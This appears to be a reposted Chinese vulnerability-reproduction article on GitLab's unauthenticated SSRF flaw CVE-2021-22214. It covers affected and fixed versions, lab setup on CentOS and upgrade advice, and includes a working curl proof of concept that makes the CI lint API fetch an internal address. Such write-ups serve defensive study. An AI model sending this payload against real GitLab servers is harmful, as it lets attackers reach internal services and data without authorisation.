0x01 漏洞介绍
GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。
GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。
0x02 漏洞编号
CVE-2021-22214
0x03 漏洞等级
漏洞等级:高危 | 8.6
0x04 影响范围
GitLab CE/EE >=10.5
安全版本:
GitLab 13.12.2
GitLab 13.11.5
GitLab 13.10.5
0x05 漏洞POC
curl -s --show-error -H 'Content-Type: application/json' https://example.gitlab.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:n remote: http://10.211.55.21:88/api/v1/targets?test.yml"}'
0x06 漏洞复现
1、环境搭建
以CentOS为例,先添加gitlab更新源。
[gitlab-ce]
name=Gitlab CE Repository
baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/
gpgcheck=0
enabled=1
添加更新源后使用命令yum makecache缓存更新源数据。
使用如下命令可以得到当前更新源中可安装所有的gitlab版本
yum list gitlab-ce --showduplicates|sort -r
使用yum安装指定版本,例如13.12.1
yum install gitlab-ce-13.12.1-ce.0.el7
使用命令gitlab-ctl reconfigure即可默认配置安装gitlab。
2、漏洞复现
直接运行poc,remote后面即为ssrf访问的地址。
0x07 漏洞修复
升级到安全版本:
GitLab 13.12.2
GitLab 13.11.5
GitLab 13.10.5
本文始发于微信公众号(锋刃科技):漏洞复现 | GitLab前台SSRF漏洞(CVE-2021-22214)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论